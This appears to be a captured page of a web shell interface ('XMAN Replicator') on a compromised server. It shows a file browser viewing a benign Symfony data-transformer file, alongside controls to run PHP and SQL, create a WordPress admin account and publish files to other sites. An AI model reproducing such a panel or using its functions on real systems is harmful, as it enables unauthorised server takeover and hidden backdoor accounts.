🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
alt
/
php55
/
usr
/
share
/
pear
/
Symfony
/
Bridge
/
Doctrine
/
Form
/
DataTransformer
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-03-03 22:54
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-03-03 22:54
🔄
🗑️
🗑️📁
⬇️
🔒
CollectionToArrayTransformer.php
1,872 B
-rw-r--r--
2019-12-18 11:24
✏️
🔄
🗑️
⬇️
🔒
View: CollectionToArrayTransformer.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bridge\Doctrine\Form\DataTransformer; use Symfony\Component\Form\Exception\TransformationFailedException; use Symfony\Component\Form\DataTransformerInterface; use Doctrine\Common\Collections\Collection; use Doctrine\Common\Collections\ArrayCollection; /** * @author Bernhard Schussek <bschussek@gmail.com> */ class CollectionToArrayTransformer implements DataTransformerInterface { /** * Transforms a collection into an array. * * @param Collection $collection A collection of entities * * @return mixed An array of entities * * @throws TransformationFailedException */ public function transform($collection) { if (null === $collection) { return array(); } // For cases when the collection getter returns $collection->toArray() // in order to prevent modifications of the returned collection if (is_array($collection)) { return $collection; } if (!$collection instanceof Collection) { throw new TransformationFailedException('Expected a Doctrine\Common\Collections\Collection object.'); } return $collection->toArray(); } /** * Transforms choice keys into entities. * * @param mixed $array An array of entities * * @return Collection A collection of entities */ public function reverseTransform($array) { if ('' === $array || null === $array) { $array = array(); } else { $array = (array) $array; } return new ArrayCollection($array); } }
PHP Console
Execute
SQL Console
Execute